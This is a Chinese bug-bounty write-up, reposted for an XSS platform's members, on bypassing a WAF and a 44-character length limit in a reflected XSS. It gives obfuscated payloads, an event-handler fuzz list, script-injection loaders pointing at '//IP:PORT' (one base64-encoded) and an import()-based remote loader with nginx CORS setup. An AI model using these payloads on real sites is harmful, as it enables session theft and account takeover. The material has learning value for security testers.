本文来自白帽一百少先队内部分享会。
起因
从某站一处反射XSS说起
输出点可以插入 XSS Payload 进行测试攻击。
例如:
<svg onload=alert(1)>
<img src onerror=alert(1)>
很不幸运的是,会被 WAF 拦截。
所以如何 bypass waf 呢?
Bypass Waf
这里给出一些构造特殊的 XSS Payload:
JS代码
[1].find(alert);
top['al\x65rt'](2);
top["al"+"ert"](3);
setTimeout('ale'+'rt(4)');
Function("ale"+"rt(5)")();
new Function`al\ert\`6\``;
setInterval('ale'+'rt(7)');
top[8680439..toString(30)](8);
top[/al/.source+/ert/.source](9);
open('java'+'script:ale'+'rt(10)');
给出一些特殊的 On 事件:
onmousedown
onmousemove
onmouseout
onmouseover
onmouseup
onmousewheel
onscroll
onabort
oncanplay
oncanplaythrough
onended
onerror
onloadeddata
onloadedmetadata
onloadedstart
onpause
onplay
onplaying
onprogress
......
通过上述一些比较不常见的事件以及攻击方法,我们可以自行构造出一系列 payload 进行 fuzz 测试。
最后成功使用以下 payload bypass 某公司 waf。
<svg><discard onbegin=[1].find(alert)>
遇到 XSS 长度限制难题
有时候,即使你发现的 XSS 漏洞能够反射弹窗了,但也无法引入外部 js。
(因为有些接口会对参数内容,长度等进行审计拦截)
我们可以大致列举一下,平时我们引入 js 的一些方法:
最最最常见的
d=document;z=d.createElement("script");
z.src="//IP:PORT";d.body.appendChild(z);
我常用的
appendChild(createElement('script')).src='//xx.xx'
编个码的(base64)
eval(atob('ZD1kb2N1bWVudDt6PWQuY3Jl
YXRlRWxlbWVudCgic2NyaXB0Iik7ei5zcmM9Ii8v
SVA6UE9SVCI7ZC5ib2R5LmFwcGVuZENoaWxkKHopOw=='))
我们可以对上面那个反射 XSS 进行测试,发现他对于输出点做了字符长度限制。
所以我们要做的是:在 44 位字符内,bypass WAF 后加载外部 JS。
询问大佬。
无果后,自己反复思考,参考各类资料。产生以下思路。
突破 XSS 长度限制的思路
1.一种思路
hash 属性是一个可读可写的字符串。
该字符串是 URL 的锚部分(从 # 号开始的部分)
我们企图通过 url 自定义一个锚,通过 substr 截取锚部分之后的内容,也就是自己的 url,此后传递到 eval 函数中去。
长度为 52,大于 44。失败了,只能继续找其他的方法,逛逛 twitter,看看 xss 大神。
webkit 引擎浏览器中可使用,例如 Chrome、Safari、Opera。
import('//domain/file')
但是必须满足以下条件:
- 使用相同的协议 不然会遇到: no referrer when downgrade 无法执行
- 外部文件 MIME 为 application/javascript 并允许跨域加载(CORS)
话不多说,直接上手。
1.申请 SSL 证书(满足协议)
2.在 nginx 配置中添加(允许跨域加载)
location ~ .*\.(js|css)?${
add_header Access-Control-Allow-Origin *;
}
3.添加一个 JS 文件,并将其添加到 nginx 默认首页中
server { ...
index index.php index.html 1.js
...}
成果:
计算长度。
3.题外话
虽然这个漏洞已经成功提交了,也拿到了奖励。我们可以思考一下,能不能变得更短?
根据我在推特上看到的文章,在 Chrome 中,浏览器会将一些奇奇怪怪的 Unicode 字符在 URL 中解析为多个字符的组合。
例如: ㏕ -> mil | Ⅷ -> VIII | ㏒ -> log
等等...
但是它们的长度,在 JS 以及其他的语言判定的长度还是为 1 位。这种有趣的特性,让我们可以 "短上更短 ",在特定情况下 还可以实现对一些 WAF 的绕过。
PS:
本文是我在某公众号看到的文章,为了方便本站的 XSS 平台会员们,特意转发过来,希望各位能有学习到的地方。
另外弱弱的吐槽下,大佬是真大佬,就是这文笔排版是真菜鸡,看我的好尴尬[aru_25],简单小改了一下下。。